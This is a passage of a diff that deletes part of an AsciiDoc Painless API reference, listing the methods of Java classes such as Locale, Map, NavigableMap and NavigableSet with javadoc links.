-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#ENGLISH[ENGLISH]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#FRANCE[FRANCE]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#FRENCH[FRENCH]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#GERMAN[GERMAN]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#GERMANY[GERMANY]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#ITALIAN[ITALIAN]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#ITALY[ITALY]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#JAPAN[JAPAN]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#JAPANESE[JAPANESE]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#KOREA[KOREA]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#KOREAN[KOREAN]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#PRC[PRC]
-* static char {java11-javadoc}/java.base/java/util/Locale.html#PRIVATE_USE_EXTENSION[PRIVATE_USE_EXTENSION]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#ROOT[ROOT]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#SIMPLIFIED_CHINESE[SIMPLIFIED_CHINESE]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#TAIWAN[TAIWAN]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#TRADITIONAL_CHINESE[TRADITIONAL_CHINESE]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#UK[UK]
-* static char {java11-javadoc}/java.base/java/util/Locale.html#UNICODE_LOCALE_EXTENSION[UNICODE_LOCALE_EXTENSION]
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#US[US]
-* static List {java11-javadoc}/java.base/java/util/Locale.html#filter(java.util.List,java.util.Collection)[filter](List, Collection)
-* static List {java11-javadoc}/java.base/java/util/Locale.html#filterTags(java.util.List,java.util.Collection)[filterTags](List, Collection)
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#forLanguageTag(java.lang.String)[forLanguageTag](null)
-* static Locale[] {java11-javadoc}/java.base/java/util/Locale.html#getAvailableLocales()[getAvailableLocales]()
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#getDefault()[getDefault]()
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#getDefault(java.util.Locale$Category)[getDefault](Locale.Category)
-* static null[] {java11-javadoc}/java.base/java/util/Locale.html#getISOCountries()[getISOCountries]()
-* static null[] {java11-javadoc}/java.base/java/util/Locale.html#getISOLanguages()[getISOLanguages]()
-* static Locale {java11-javadoc}/java.base/java/util/Locale.html#lookup(java.util.List,java.util.Collection)[lookup](List, Collection)
-* static null {java11-javadoc}/java.base/java/util/Locale.html#lookupTag(java.util.List,java.util.Collection)[lookupTag](List, Collection)
-* {java11-javadoc}/java.base/java/util/Locale.html#<init>(java.lang.String)[Locale](null)
-* {java11-javadoc}/java.base/java/util/Locale.html#<init>(java.lang.String,java.lang.String)[Locale](null, null)
-* {java11-javadoc}/java.base/java/util/Locale.html#<init>(java.lang.String,java.lang.String,java.lang.String)[Locale](null, null, null)
-* def {java11-javadoc}/java.base/java/util/Locale.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getCountry()[getCountry]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayCountry()[getDisplayCountry]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayCountry(java.util.Locale)[getDisplayCountry](Locale)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayLanguage()[getDisplayLanguage]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayLanguage(java.util.Locale)[getDisplayLanguage](Locale)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayName()[getDisplayName]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayName(java.util.Locale)[getDisplayName](Locale)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayScript()[getDisplayScript]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayScript(java.util.Locale)[getDisplayScript](Locale)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayVariant()[getDisplayVariant]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getDisplayVariant(java.util.Locale)[getDisplayVariant](Locale)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getExtension(char)[getExtension](char)
-* Set {java11-javadoc}/java.base/java/util/Locale.html#getExtensionKeys()[getExtensionKeys]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getISO3Country()[getISO3Country]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getISO3Language()[getISO3Language]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getLanguage()[getLanguage]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getScript()[getScript]()
-* Set {java11-javadoc}/java.base/java/util/Locale.html#getUnicodeLocaleAttributes()[getUnicodeLocaleAttributes]()
-* Set {java11-javadoc}/java.base/java/util/Locale.html#getUnicodeLocaleKeys()[getUnicodeLocaleKeys]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#getUnicodeLocaleType(java.lang.String)[getUnicodeLocaleType](null)
-* null {java11-javadoc}/java.base/java/util/Locale.html#getVariant()[getVariant]()
-* boolean {java11-javadoc}/java.base/java/util/Locale.html#hasExtensions()[hasExtensions]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Locale {java11-javadoc}/java.base/java/util/Locale.html#stripExtensions()[stripExtensions]()
-* null {java11-javadoc}/java.base/java/util/Locale.html#toLanguageTag()[toLanguageTag]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Locale-Builder]]
-==== Locale.Builder
-* {java11-javadoc}/java.base/java/util/Locale$Builder.html#<init>()[Locale.Builder]()
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#addUnicodeLocaleAttribute(java.lang.String)[addUnicodeLocaleAttribute](null)
-* Locale {java11-javadoc}/java.base/java/util/Locale$Builder.html#build()[build]()
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#clear()[clear]()
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#clearExtensions()[clearExtensions]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#removeUnicodeLocaleAttribute(java.lang.String)[removeUnicodeLocaleAttribute](null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setExtension(char,java.lang.String)[setExtension](char, null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setLanguage(java.lang.String)[setLanguage](null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setLanguageTag(java.lang.String)[setLanguageTag](null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setLocale(java.util.Locale)[setLocale](Locale)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setRegion(java.lang.String)[setRegion](null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setScript(java.lang.String)[setScript](null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setUnicodeLocaleKeyword(java.lang.String,java.lang.String)[setUnicodeLocaleKeyword](null, null)
-* Locale.Builder {java11-javadoc}/java.base/java/util/Locale$Builder.html#setVariant(java.lang.String)[setVariant](null)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Locale-Category]]
-==== Locale.Category
-* static Locale.Category {java11-javadoc}/java.base/java/util/Locale$Category.html#DISPLAY[DISPLAY]
-* static Locale.Category {java11-javadoc}/java.base/java/util/Locale$Category.html#FORMAT[FORMAT]
-* static Locale.Category {java11-javadoc}/java.base/java/util/Locale$Category.html#valueOf(java.lang.String)[valueOf](null)
-* static Locale.Category[] {java11-javadoc}/java.base/java/util/Locale$Category.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Locale-FilteringMode]]
-==== Locale.FilteringMode
-* static Locale.FilteringMode {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#AUTOSELECT_FILTERING[AUTOSELECT_FILTERING]
-* static Locale.FilteringMode {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#EXTENDED_FILTERING[EXTENDED_FILTERING]
-* static Locale.FilteringMode {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#IGNORE_EXTENDED_RANGES[IGNORE_EXTENDED_RANGES]
-* static Locale.FilteringMode {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#MAP_EXTENDED_RANGES[MAP_EXTENDED_RANGES]
-* static Locale.FilteringMode {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#REJECT_EXTENDED_RANGES[REJECT_EXTENDED_RANGES]
-* static Locale.FilteringMode {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#valueOf(java.lang.String)[valueOf](null)
-* static Locale.FilteringMode[] {java11-javadoc}/java.base/java/util/Locale$FilteringMode.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Locale-LanguageRange]]
-==== Locale.LanguageRange
-* static double {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#MAX_WEIGHT[MAX_WEIGHT]
-* static double {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#MIN_WEIGHT[MIN_WEIGHT]
-* static List {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#mapEquivalents(java.util.List,java.util.Map)[mapEquivalents](List, Map)
-* static List {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#parse(java.lang.String)[parse](null)
-* static List {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#parse(java.lang.String,java.util.Map)[parse](null, Map)
-* {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#<init>(java.lang.String)[Locale.LanguageRange](null)
-* {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#<init>(java.lang.String,double)[Locale.LanguageRange](null, double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#getRange()[getRange]()
-* double {java11-javadoc}/java.base/java/util/Locale$LanguageRange.html#getWeight()[getWeight]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-LongSummaryStatistics]]
-==== LongSummaryStatistics
-* {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#<init>()[LongSummaryStatistics]()
-* void {java11-javadoc}/java.base/java/util/function/LongConsumer.html#accept(long)[accept](long)
-* LongConsumer {java11-javadoc}/java.base/java/util/function/LongConsumer.html#andThen(java.util.function.LongConsumer)[andThen](LongConsumer)
-* void {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#combine(java.util.LongSummaryStatistics)[combine](LongSummaryStatistics)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* double {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#getAverage()[getAverage]()
-* long {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#getCount()[getCount]()
-* long {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#getMax()[getMax]()
-* long {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#getMin()[getMin]()
-* long {java11-javadoc}/java.base/java/util/LongSummaryStatistics.html#getSum()[getSum]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Map]]
-==== Map
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-Map-Entry]]
-==== Map.Entry
-* static Comparator {java11-javadoc}/java.base/java/util/Map$Entry.html#comparingByKey()[comparingByKey]()
-* static Comparator {java11-javadoc}/java.base/java/util/Map$Entry.html#comparingByKey(java.util.Comparator)[comparingByKey](Comparator)
-* static Comparator {java11-javadoc}/java.base/java/util/Map$Entry.html#comparingByValue()[comparingByValue]()
-* static Comparator {java11-javadoc}/java.base/java/util/Map$Entry.html#comparingByValue(java.util.Comparator)[comparingByValue](Comparator)
-* boolean {java11-javadoc}/java.base/java/util/Map$Entry.html#equals(java.lang.Object)[equals](Object)
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#getKey()[getKey]()
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/util/Map$Entry.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Map$Entry.html#setValue(java.lang.Object)[setValue](def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MissingFormatArgumentException]]
-==== MissingFormatArgumentException
-* {java11-javadoc}/java.base/java/util/MissingFormatArgumentException.html#<init>(java.lang.String)[MissingFormatArgumentException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/MissingFormatArgumentException.html#getFormatSpecifier()[getFormatSpecifier]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MissingFormatWidthException]]
-==== MissingFormatWidthException
-* {java11-javadoc}/java.base/java/util/MissingFormatWidthException.html#<init>(java.lang.String)[MissingFormatWidthException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/MissingFormatWidthException.html#getFormatSpecifier()[getFormatSpecifier]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MissingResourceException]]
-==== MissingResourceException
-* {java11-javadoc}/java.base/java/util/MissingResourceException.html#<init>(java.lang.String,java.lang.String,java.lang.String)[MissingResourceException](null, null, null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/util/MissingResourceException.html#getClassName()[getClassName]()
-* null {java11-javadoc}/java.base/java/util/MissingResourceException.html#getKey()[getKey]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NavigableMap]]
-==== NavigableMap
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#ceilingEntry(java.lang.Object)[ceilingEntry](def)
-* def {java11-javadoc}/java.base/java/util/NavigableMap.html#ceilingKey(java.lang.Object)[ceilingKey](def)
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* Comparator {java11-javadoc}/java.base/java/util/SortedMap.html#comparator()[comparator]()
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableMap.html#descendingKeySet()[descendingKeySet]()
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#descendingMap()[descendingMap]()
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#firstEntry()[firstEntry]()
-* def {java11-javadoc}/java.base/java/util/SortedMap.html#firstKey()[firstKey]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#floorEntry(java.lang.Object)[floorEntry](def)
-* def {java11-javadoc}/java.base/java/util/NavigableMap.html#floorKey(java.lang.Object)[floorKey](def)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#headMap(java.lang.Object)[headMap](def)
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#headMap(java.lang.Object,boolean)[headMap](def, boolean)
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#higherEntry(java.lang.Object)[higherEntry](def)
-* def {java11-javadoc}/java.base/java/util/NavigableMap.html#higherKey(java.lang.Object)[higherKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#lastEntry()[lastEntry]()
-* def {java11-javadoc}/java.base/java/util/SortedMap.html#lastKey()[lastKey]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#lowerEntry(java.lang.Object)[lowerEntry](def)
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableMap.html#navigableKeySet()[navigableKeySet]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#pollFirstEntry()[pollFirstEntry]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#pollLastEntry()[pollLastEntry]()
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#subMap(java.lang.Object,java.lang.Object)[subMap](def, def)
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#subMap(java.lang.Object,boolean,java.lang.Object,boolean)[subMap](def, boolean, def, boolean)
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#tailMap(java.lang.Object)[tailMap](def)
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#tailMap(java.lang.Object,boolean)[tailMap](def, boolean)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-NavigableSet]]
-==== NavigableSet
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#ceiling(java.lang.Object)[ceiling](def)
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* Comparator {java11-javadoc}/java.base/java/util/SortedSet.html#comparator()[comparator]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* Iterator {java11-javadoc}/java.base/java/util/NavigableSet.html#descendingIterator()[descendingIterator]()
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#descendingSet()[descendingSet]()
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* def {java11-javadoc}/java.base/java/util/SortedSet.html#first()[first]()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#floor(java.lang.Object)[floor](def)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#headSet(java.lang.Object)[headSet](def)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#headSet(java.lang.Object,boolean)[headSet](def, boolean)
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#higher(java.lang.Object)[higher](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* def {java11-javadoc}/java.base/java/util/SortedSet.html#last()[last]()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#lower(java.lang.Object)[lower](def)
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#pollFirst()[pollFirst]()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#pollLast()[pollLast]()
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#subSet(java.lang.Object,java.lang.Object)[subSet](def, def)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#subSet(java.lang.Object,boolean,java.lang.Object,boolean)[subSet](def, boolean, def, boolean)
-* double sum()
-* double sum(ToDoubleFunction)
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#tailSet(java.lang.Object)[tailSet](def)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#tailSet(java.lang.Object,boolean)[tailSet](def, boolean)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-NoSuchElementException]]
-==== NoSuchElementException
-* {java11-javadoc}/java.base/java/util/NoSuchElementException.html#<init>()[NoSuchElementException]()
